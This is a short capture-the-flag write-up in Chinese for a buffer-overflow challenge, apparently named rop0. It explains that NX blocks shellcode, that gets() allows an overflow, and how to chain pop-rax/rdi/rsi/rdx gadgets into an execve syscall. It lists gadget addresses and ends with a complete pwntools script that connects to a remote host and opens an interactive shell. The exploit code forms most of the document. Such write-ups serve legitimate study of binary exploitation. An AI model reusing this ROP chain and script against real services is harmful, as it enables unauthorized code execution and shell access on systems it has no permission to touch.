Author:堇姬
看到有開Stack canary,但溢出後卻沒有報stack canary的錯誤,所以應該是沒開。
另外他有開NX,所以沒辦法寫shellcode
有gets 可以BOF,不過沒有其他function可以return過去,所以應該是要ROP
暫存器 | 值 |
---|---|
rax | 0x3b |
rdi | 要執行的參數值(/bin/sh) |
rsi | argv(這裡=0) |
rdx | envp(這裡=0) |
pop rax
0x3b
pop rdi
command_addr_in_stack
pop rsi
0
pop rdx;
0
syscall
ROPgadget找位置
暫存器 | 位置 | 要蓋的值 |
---|---|---|
pop rax ;ret | 0x4516a7 | 0x3b |
pop rdi ;ret | 0x4018c2 | 0x4c3300 |
pop rsi ;ret | 0x40f21e | 0 |
pop rdx ;ret | 0x4017cf | 0 |
syscall | 0x4012d3 | 無 |
輸入的shellcode存在0x4c3300
要蓋0x70+0x8然後開始ret
from pwn import *
r=remote('23.146.248.20', 10009)
#r=process('rop0')
shellcode_addr=0x004c3300
context.arch='amd64'
ROPvar={
'shellcode':b"/bin/bash\x00",
'pop_rax_ret':0x4516a7,
'pop_rdi_ret':0x4018c2,
'pop_rsi_ret':0x40f21e,
'pop_rdx_ret':0x4017cf,
'syscall':0x4012d3
}
STACKvar={
'rax_var':0x3b,
'rdi_var':shellcode_addr,
'rsi_var':0,
'rdx_var':0,
}
padding=0x70+0x8
payload=b"a"*padding+flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rdx_ret'],
STACKvar['rdx_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['syscall'])
r.sendline(ROPvar['shellcode'])
r.sendline(payload)
r.interactive()